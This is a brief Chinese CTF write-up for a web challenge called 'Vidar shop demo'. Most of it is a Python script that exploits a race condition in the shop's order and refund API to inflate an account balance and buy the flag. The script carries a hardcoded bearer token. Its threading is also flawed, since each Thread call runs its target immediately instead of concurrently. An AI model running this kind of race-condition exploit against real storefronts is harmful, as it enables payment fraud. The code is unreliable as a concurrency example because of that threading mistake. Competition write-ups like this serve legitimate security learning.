week3过年摆了,基本根本没做,惭愧·········
web
Vidar shop demo
条件竞争,开多线程刷钱,够了就可以买flag了
import requests
import threading
import json
payUrl = 'http://4766634820.vidar-shop.mjclouds.com/api/pay/create'
createOrderUrl = 'http://4766634820.vidar-shop.mjclouds.com/api/order/create'
sellUrl = 'http://4766634820.vidar-shop.mjclouds.com/api/order/remove'
headers = {
'Host': '4766634820.vidar-shop.mjclouds.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Authorization': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQyMDYzODUsImlhdCI6MTY0NDExOTk4NSwidWlkIjozNTF9.c4d_p8TutNYanYK7KPIJwuLFR9tkAIvdLZFhqPT_0jE',
'Origin': 'http://4766634820.vidar-shop.mjclouds.com',
'Connection': 'keep-alive',
'Referer': 'http://4766634820.vidar-shop.mjclouds.com/'
}
createData = {
"amount": 1,
"pid": 5,
"status": 1,
"uid": 351
}
def pay():
response = requests.post(createOrderUrl, data=json.dumps(createData), headers=headers)
oid = json.loads(response.text)['id']
payData = {
'amount': 20,
'oid': oid,
'uid': 351
}
requests.post(payUrl, data=json.dumps(payData), headers=headers)
return oid
def sell(oid):
# print(oid)
sellData = {
'id': oid
}
r = requests.post(sellUrl, data=json.dumps(sellData), headers=headers)
print(r.text)
def solve():
oid = pay()
for j in range(50):
threading.Thread(target=sell(oid)).start()
if __name__ == '__main__':
for i in range(20):
threading.Thread(target=solve()).start()